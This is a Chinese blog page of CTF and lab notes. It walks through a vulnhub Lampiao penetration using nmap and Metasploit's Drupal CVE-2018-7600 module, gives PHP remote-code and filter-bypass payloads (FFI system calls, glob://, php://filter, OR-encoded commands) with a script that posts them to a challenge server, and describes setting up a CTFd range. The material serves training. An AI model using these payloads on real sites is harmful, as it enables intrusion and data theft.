Echo战队第19次培训——渗透实战思路和实践

实战是各个方向的结合,甚至没有明确的方向区分。下面将展示实战思路和Lampiao靶机渗透 实战思路 上面是我整理的一份实战思路和总结,看不清楚可以点这里 Lampiao靶机渗透 什么是Lampiao靶机?知道Lampiao前得先介绍一下什么是vulnhub vulnhub是一个提供漏洞靶机的经典靶场,其中不乏一些高频漏洞,例如Log4j,Dirty cow,常见CMS漏洞等,非常适合萌新黑客练手。并且,vulnhub提供的靶机使用的是VMware镜像,和在线靶场所使用的docker靶机不一样,渗透环境更加真实。Lampiao是vulnhub中的一个非常经典的Dirty cow漏洞复现靶机。 接下来我们直接开始模拟一次真实的渗透过程 渗透环境 攻击者:kali(ip: 192.168.2.6) 受害者:一台服务器,其他信息全部未知,只知道和这台服务器在同一个内网 渗透过程 第一步:信息收集 我们已经知道需要入侵内网中一台服务器,可是服务器在哪?要怎么入侵它?一切都是未知的,既然这样,第一步当然就是信息收集 我们可以使用nmap -PS 192.168.2.1-225对同一C段的内网进行存活主机扫描。-PS是使用ping发包探测主机是否在线,同时可以粗略地检测端口。 经过扫描可以看到这台机子上开放了一个80端口和一个22端口,根据上面的总结不难看出这大概率是一台服务器,因为80端口通常就是用来提供http服务的 我们可以直接输入ip地址尝试访问 为了进一步验证猜想,可以用nmap -O 192.168.2.13来探测这台设备的操作系统,结果如下 可以看到nmap推断其大概率运行的是Linux 3.X或4.X内核的系统 为了获得更具体的系统版本,可以通过各个端口服务的对应版本来推断。什么意思呢?就是我们需要扫描一下80端口和22端口提供服务的软件版本分别是什么,是提供给哪一个linux发行版的 可以使用-sV参数再次进行扫描 通过扫描可以看到,22端口的ssh服务由openSSH提供,同时可以看到出这是个ubuntu版本,因此可以知道这台机器运行的系统是ubuntu,具体版本未知 接下来我们继续使用-A参数来扫描有关这台机器的所有详细信息(刚刚不这么做是因为进行粗扫描能够更快断定一些有关信息,便于后面渗透方向判断),这里我们还需要设置一下全端口扫描,你可以使用-p 1-65535或-p-参数来设置。扫描结果如下 可以看到,在设置了全端口扫描后还发现了一个刚刚没扫出来的1898端口,并且是一个Apache的httpd服务,意味着我们同样可以使用http协议访问 尝试访问结果如下 可以发现这是一个后端登录界面,乱点看了一圈后发现没用什么有价值的信息,但页面最下面的一句Powered by [Drupal](https://www.drupal.org/)引起了我的注意,搜索后发现这是个前端框架,并且发现了一个可利用的CVE漏洞 第二步:Getshell 经过上面信息搜集并了解这个CVE漏洞后, 知道CVE-2018-7600 根本原因出在 Drupal 对表单的渲染,发现可以直接使用MSF自带的攻击模块进行利用。先对msf自带的drupal模块进行搜索 根据Description内容,选中第4个模块,并设置options show options用来查看这个模块需要设置的内容。这里根据required一列可以看到还差RHOST这一项。在MSF所有攻击模块中,RHOST需要填上的是被攻击对象。 需要注意的是,在这个攻击模块中RPORT默认是80,需要修改成1898 执行run就能成功拿到Shell 不过这个没有交互式Shell前缀的界面看着不太舒服,我们可以利用这台服务器上自带的python服务自己构造一个”伪Shell“,代码如下 python -c 'import pty;pty.spawn("/bin/bash")' 有兴趣可以去看一下pty这个包是什么 执行后就能得到一个类似正常交互式Shell的前缀,就能直观地看到当前所在目录和用户名了 第三步:权限提升 只拿到shell依然不能满足我们很多操作,例如我们没法看到一些存放在root文件里的东西,也没法执行一些需要更高权限指令。因此提权就十分重要。 到这里,还记得我们在信息搜集步骤时留下的一个问题吗?我们还不知道这个系统的具体版本是什么。但现在我们已经拿到了shell,查看版本就很简单了,只需要执行以下uname -a就能知道 ...

June 21, 2023 · 1 min · Red

[靶场笔记]第五章

DirectoryIterator类 根据官方说法,这是一个提供了简单的接口,用于查看文件系统目录的内容的类,其中__toString()可以用来返回new对象时的参数中的目录内容 通常,该类会结合glob://伪协议读取需要的文件夹下的内容,比如根目录就会用glob:///* 下面是一个简单的payload ?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f- >__toString().'');}exit(0);?> PDO类 同样先看看官方说法,说是为 PHP 访问数据库定义了一个轻量级的一致接口。 看着听绕口,实际上很好理解。只需要知道这是一个可以读取数据库的类即可。不过需要账号密码,这里就需要通过其他方式获取。 利用如下payload,就可以列出库名 $dsn = "mysql:host=localhost;dbname=information_schema"; $db = new PDO($dsn, 'root', 'root'); $rs = $db->query("select database()"); foreach($rs as $row){ echo($row[0])."|"; } FFI FFI是一个可以在php中调用外部语言命令的拓展,所以我们就可以利用这个拓展执行一些C语言命令,比如最典的system(); 下面是一个比较常用的payload c=$ffi = FFI::cdef("int system(const char *command);"); $a='/readflag > 1.txt'; $ffi->system($a); 如果出现类似下面这样的回显 就证明已经利用完成 环境变量构造命令 直接来看环境变量是如何使用的 # echo ${PWD} /root # echo ${PWD:0:1} #表示从0下标开始的第一个字符 / # echo ${PWD:~0:1} #从结尾开始往前的第一个字符 t # echo ${PWD:~0} t # echo ${PWD:~A} #所以字母和0具有同样作用 t # echo ${PATH} /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 相信看到这里你一定知道要怎么构造查看指令了。也就是说,我们可以利用环境变量的输出结果来构造一个类似cat或者nl这样的文件查看指令,就能达到预期效果 ...

June 20, 2023 · 1 min · Red

[靶场笔记]第四章

data伪协议 和php://input一样,用来执行代码,不一样的地方是,data可以直接用GET传值 格式是 明文: data://text/plain,<?php ... ?> base64编码: data://text/plain;base64,... cat的兄弟tac tac是反向输出,可以用来逃避cat过滤 或运算绕过 & 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,来看一下下面这段正则匹配 [0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\- 怎么绕过上面这样的匹配呢?可以发现上面这段匹配里没有|,因此可以使用或运算绕过 大概思路就是将除上述匹配外的Ascii字符筛选出来,然后再进行或运算,计算出结果和想要的命令匹配即可 下面是脚本 import re import requests url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080" a=[] ans1="" ans2="" for i in range(0,256): c=chr(i) tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I) if(tmp): continue #print(tmp.group(0)) else: a.append(i) # eval("echo($c);"); mya="system" #函数名 这里修改! myb="ls" #参数 def myfun(k,my): global ans1 global ans2 for i in range (0,len(a)): for j in range(i,len(a)): if(a[i]|a[j]==ord(my[k])): ans1+=chr(a[i]) ans2+=chr(a[j]) return; for k in range(0,len(mya)): myfun(k,mya) data1="(\""+ans1+"\"|\""+ans2+"\")" ans1="" ans2="" for k in range(0,len(myb)): myfun(k,myb) data2="(\""+ans1+"\"|\""+ans2+"\")" data={"c":data1+data2} r=requests.post(url=url,data=data) print(r.text) >/dev/null 2>&1 这句代码得拆开看 先来看看这句>/dev/null。这句的意思就是将前面输出的内容重定向到一个叫/dev/null的目录下,/dev目录一般是设备挂载目录,而null就是空设备的意思,因此就是让输出结果不要输出到任何设备上,包括你的屏幕,而是消失在茫茫太空中 接着是2>&1,首先要知道2在linux标准输出中表示的是错误报错,1是正常输出,所以这句意思是将错误报错也重定向到1输出的地方,而因为1输出已经被丢到太空里,所以2也会跟着他一起流浪 ...

May 18, 2023 · 1 min · Red

[靶场笔记]第三章

伪随机 mt_srand这个函数是伪随机,给了随机种子,生成随机数都是固定的 另外,随机种子会因为php版本不同而不同,种子计算可以用工具php_mt_scrand nl查询 其实这里想说的是任意执行这个大类,在一些题目中可能会有奇怪的过滤,执行查询时如果cat不行可以试试nl,另外记得看一看网页源代码 一种很特殊的函数绕过法 show_source(next(array_reverse(scandir(pos(localeconv()))))); 不要被这一长串吓到了,如果flag文件说带有.且已经被过滤的,就可以用这方法 首先localeconv第一个元素是.,pos只返回第一个元素,scandir扫描当前目录并存入数组,array_reverse以相反的元素顺序返回数组,next输出当前元素的下一个元素值,最后再用show_source高亮输出 是不是很神奇? 一种也很特殊的叠加方法 仔细观察下面这段php $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } 再仔细观察下面这个段get请求参数 ?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64- encode/resource=flag.php 学会了吗? Get请求变量 经常看到以一个单词作为接受请求的变量,如下 $_GET["url"] 但其实把“url”换成1是可以的,这样就能达到绕过双引号过滤的目的。 同理,单个字母也是可以的 两段php代码 如果碰到了一个eval函数,那么首当其冲可以先写一个?>对前面的php进行闭合,这样再怎么过滤也不会过滤到后面的代码上了 不过需要注意的是,就算后面代码运行时不会过滤,但不代表代码输入进去时不会被过滤一遍,举个例子 c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php 这段代码的1变量内容不会被过滤,但c仍然会

May 16, 2023 · 1 min · Red

[技术杂谈]XUJC Lab搭建心得

这段时间忙着弄学校的靶场,都没时间写博客,那就简单地总结一下靶场搭建时候遇到的几个大坑 绝对不是为了水文章 动态题目容器部署 动态flag 动态题目部署最常遇到的问题,就是flag没法挂载 原理是什么呢? 靶场使用的框架是CTFd V2.1.5,适配的动态部署插件是ctfd-owl 一开始我以为owl插件和赵师傅的ctfd-whale插件实现原理是一样的,就依葫画瓢地去clone了CTFTraining,结果发现部署是能部署了,却怎么也调不到想要的动态flag 随便打开一道题的docker-compose.yml,发现预留了一个environment属性,用来修改FLAG环境变量的值 由于前面部署发现flag并没有随不同容器而改变,因此可以推测出owl和whale插件不一样的地方就在动态flag的修改方式不同 因为owl自带了一道题目作为test,并且是一道file upload 对照后发现了一个flag的文件映射,再根据进入容器查看后发现,确实在容器根目录下成功写入了动态flag 因此再次推断,flag就是通过外部flag文件被写入后再映射进去的 但还有一个问题是,如果题目是一些类似sql注入这样的题目,答题者无法直接读取flag文件的,要怎么办呢? 不慌,回到刚刚说到的environment属性 在一道sql注入题的Dockerfile中发现CMD命令会执行一个叫flag.sh的shell文件,文件内容如图 上图的FLAG是我自己添加进去的,在原版CTFTraining中是没有’cat /flag‘这句代码的。这里经过查阅,发现export为设置环境变量,所以如果想让flag写入到数据库中,就可以通过这样的形式写入进去 环境变量配置 正如上面所说,想要给一些无法直接接触到flag文件的题目配置动态flag,就需要使用环境变量赋值。可是,当我再一次进行尝试时,发现还是部署不上去,导致在这个地方卡了整整两天 直到某天在群上,我被罗少的一句话点醒 “用./形式运行的子shell是无法修改父shell环境变量的,但用source运行的话就不是子shell运行,而是直接被系统shell运行” 打开Dockerfile后发现,CMD命令的确使用的是./运行方法,修改后如下 就成功解决问题啦~ (还是要感谢罗少的提示) 无法修改的容器 当我修改完我的docker配置文件后,正当一切准备就绪,激动地按下docker-compose up -d后,发现容器非但没给我部署上正确flag,甚至连原本自带的flag都没了,在这个地方又卡了整整一天 正当我百思不得其解的时候,胡乱翻看网上博客,才想起来在docker-compose中还带有image这个属性,经过翻看文档后才得知,docker compose在部署容器集群时,会优先根据image属性读取镜像库中的镜像,而不是利用Dockerfile的配置自己制作容器。 就这样,删掉image属性和本地悬挂镜像后,一切便大功告成 (果然还是得听罗少的话,用什么之前都得好好看文档) 就先写到这儿了,要是碰到什么问题再补充叭

May 14, 2023 · 1 min · Red